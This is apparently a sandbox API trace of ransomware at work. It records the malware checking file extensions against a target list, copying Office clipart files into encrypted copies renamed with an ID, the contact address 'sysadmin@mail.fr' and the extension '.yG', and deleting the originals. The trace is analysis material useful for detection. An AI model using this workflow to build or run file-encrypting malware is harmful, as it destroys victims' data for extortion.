	[0146.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0146.851] lstrlenW (lpString=".doc") returned 4
	[0146.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.851] lstrlenW (lpString=".docx") returned 5
	[0146.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.851] lstrlenW (lpString=".pdf") returned 4
	[0146.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.851] lstrlenW (lpString=".xls") returned 4
	[0146.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.851] lstrlenW (lpString=".xlsx") returned 5
	[0146.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.852] lstrlenW (lpString=".ppt") returned 4
	[0146.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0146.852] lstrlenW (lpString=".zip") returned 4
	[0146.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.852] lstrlenW (lpString=".rar") returned 4
	[0146.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.852] lstrlenW (lpString=".bz2") returned 4
	[0146.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.852] lstrlenW (lpString=".7z") returned 3
	[0146.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0146.852] lstrlenW (lpString=".dbf") returned 4
	[0146.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0146.852] lstrlenW (lpString=".1cd") returned 4
	[0146.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0146.852] lstrlenW (lpString=".jpg") returned 4
	[0146.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0146.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0146.853] lstrlenW (lpString=".doc") returned 4
	[0146.853] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0146.853] lstrlenW (lpString=".docx") returned 5
	[0146.853] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0146.853] lstrlenW (lpString=".pdf") returned 4
	[0146.853] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0146.853] lstrlenW (lpString=".xls") returned 4
	[0146.853] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0146.853] lstrlenW (lpString=".xlsx") returned 5
	[0146.853] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0146.853] lstrlenW (lpString=".ppt") returned 4
	[0146.853] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0146.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0146.853] lstrlenW (lpString=".zip") returned 4
	[0146.853] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0146.854] lstrlenW (lpString=".rar") returned 4
	[0146.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0146.854] lstrlenW (lpString=".bz2") returned 4
	[0146.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0146.854] lstrlenW (lpString=".7z") returned 3
	[0146.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0146.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0146.854] lstrlenW (lpString=".dbf") returned 4
	[0146.854] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0146.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0146.854] lstrlenW (lpString=".1cd") returned 4
	[0146.854] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0146.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68
	[0146.854] lstrlenW (lpString=".jpg") returned 4
	[0146.854] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0146.855] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0146.855] lstrlenW (lpString="FD00435_.WMF") returned 12
	[0146.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0147.205] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=2108) returned 1
	[0147.205] CloseHandle (hObject=0x4b0) returned 1
	[0147.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 0x220
	[0147.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0147.206] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.206] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0147.207] GetLastError () returned 0x0
	[0147.207] ReadFile (in: hFile=0x4b0, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x83c, lpOverlapped=0x0) returned 1
	[0147.209] WriteFile (in: hFile=0x4ac, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x840, lpOverlapped=0x0) returned 1
	[0147.210] ReadFile (in: hFile=0x4b0, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.210] WriteFile (in: hFile=0x4ac, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0147.210] SetEndOfFile (hFile=0x4ac) returned 1
	[0147.211] CloseHandle (hObject=0x4ac) returned 1
	[0147.211] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.211] SetEndOfFile (hFile=0x4b0) returned 1
	[0147.214] CloseHandle (hObject=0x4b0) returned 1
	[0147.215] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0147.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1
	[0147.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0147.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0147.217] lstrlenW (lpString=".doc") returned 4
	[0147.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.218] lstrlenW (lpString=".docx") returned 5
	[0147.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.218] lstrlenW (lpString=".pdf") returned 4
	[0147.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.218] lstrlenW (lpString=".xls") returned 4
	[0147.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.218] lstrlenW (lpString=".xlsx") returned 5
	[0147.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.218] lstrlenW (lpString=".ppt") returned 4
	[0147.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0147.219] lstrlenW (lpString=".zip") returned 4
	[0147.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.219] lstrlenW (lpString=".rar") returned 4
	[0147.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.219] lstrlenW (lpString=".bz2") returned 4
	[0147.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.219] lstrlenW (lpString=".7z") returned 3
	[0147.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0147.706] lstrlenW (lpString=".dbf") returned 4
	[0147.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0147.706] lstrlenW (lpString=".1cd") returned 4
	[0147.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0147.706] lstrlenW (lpString=".jpg") returned 4
	[0147.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0147.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0147.706] lstrlenW (lpString=".doc") returned 4
	[0147.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.706] lstrlenW (lpString=".docx") returned 5
	[0147.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.706] lstrlenW (lpString=".pdf") returned 4
	[0147.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.706] lstrlenW (lpString=".xls") returned 4
	[0147.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.706] lstrlenW (lpString=".xlsx") returned 5
	[0147.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.706] lstrlenW (lpString=".ppt") returned 4
	[0147.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0147.707] lstrlenW (lpString=".zip") returned 4
	[0147.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.707] lstrlenW (lpString=".rar") returned 4
	[0147.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.707] lstrlenW (lpString=".bz2") returned 4
	[0147.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.707] lstrlenW (lpString=".7z") returned 3
	[0147.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0147.707] lstrlenW (lpString=".dbf") returned 4
	[0147.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0147.707] lstrlenW (lpString=".1cd") returned 4
	[0147.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68
	[0147.707] lstrlenW (lpString=".jpg") returned 4
	[0147.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.707] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0147.707] lstrlenW (lpString="FD00779_.WMF") returned 12
	[0147.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0147.708] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=9010) returned 1
	[0147.708] CloseHandle (hObject=0x550) returned 1
	[0147.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220
	[0147.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0147.709] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.709] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0147.710] GetLastError () returned 0x0
	[0147.710] ReadFile (in: hFile=0x550, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x2332, lpOverlapped=0x0) returned 1
	[0147.726] WriteFile (in: hFile=0x534, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x2340, lpOverlapped=0x0) returned 1
	[0147.728] ReadFile (in: hFile=0x550, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.728] WriteFile (in: hFile=0x534, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0147.728] SetEndOfFile (hFile=0x534) returned 1
	[0147.728] CloseHandle (hObject=0x534) returned 1
	[0147.728] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.728] SetEndOfFile (hFile=0x550) returned 1
	[0147.744] CloseHandle (hObject=0x550) returned 1
	[0147.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0147.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1
	[0147.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0147.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0147.745] lstrlenW (lpString=".doc") returned 4
	[0147.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.745] lstrlenW (lpString=".docx") returned 5
	[0147.745] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.745] lstrlenW (lpString=".pdf") returned 4
	[0147.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.745] lstrlenW (lpString=".xls") returned 4
	[0147.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.745] lstrlenW (lpString=".xlsx") returned 5
	[0147.745] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.745] lstrlenW (lpString=".ppt") returned 4
	[0147.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0147.745] lstrlenW (lpString=".zip") returned 4
	[0147.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.746] lstrlenW (lpString=".rar") returned 4
	[0147.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.746] lstrlenW (lpString=".bz2") returned 4
	[0147.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.746] lstrlenW (lpString=".7z") returned 3
	[0147.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0147.746] lstrlenW (lpString=".dbf") returned 4
	[0147.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0147.746] lstrlenW (lpString=".1cd") returned 4
	[0147.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0147.746] lstrlenW (lpString=".jpg") returned 4
	[0147.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0147.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0147.746] lstrlenW (lpString=".doc") returned 4
	[0147.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0147.746] lstrlenW (lpString=".docx") returned 5
	[0147.746] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0147.746] lstrlenW (lpString=".pdf") returned 4
	[0147.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0147.746] lstrlenW (lpString=".xls") returned 4
	[0147.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0147.746] lstrlenW (lpString=".xlsx") returned 5
	[0147.747] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0147.747] lstrlenW (lpString=".ppt") returned 4
	[0147.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0147.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0147.747] lstrlenW (lpString=".zip") returned 4
	[0147.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0147.747] lstrlenW (lpString=".rar") returned 4
	[0147.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0147.747] lstrlenW (lpString=".bz2") returned 4
	[0147.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0147.747] lstrlenW (lpString=".7z") returned 3
	[0147.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0147.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0147.747] lstrlenW (lpString=".dbf") returned 4
	[0147.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0147.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0147.747] lstrlenW (lpString=".1cd") returned 4
	[0147.747] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0147.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0147.747] lstrlenW (lpString=".jpg") returned 4
	[0147.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0147.747] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0147.747] lstrlenW (lpString="FD00814_.WMF") returned 12
	[0147.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0147.749] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=42704) returned 1
	[0147.749] CloseHandle (hObject=0x550) returned 1
	[0147.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220
	[0147.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0147.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0147.750] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.750] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0147.750] GetLastError () returned 0x0
	[0147.750] ReadFile (in: hFile=0x550, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xa6d0, lpOverlapped=0x0) returned 1
	[0147.777] WriteFile (in: hFile=0x48c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xa6e0, lpOverlapped=0x0) returned 1
	[0147.779] ReadFile (in: hFile=0x550, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0147.779] WriteFile (in: hFile=0x48c, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0147.779] SetEndOfFile (hFile=0x48c) returned 1
	[0147.779] CloseHandle (hObject=0x48c) returned 1
	[0147.779] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0147.779] SetEndOfFile (hFile=0x550) returned 1
	[0147.784] CloseHandle (hObject=0x550) returned 1
	[0147.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0147.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1
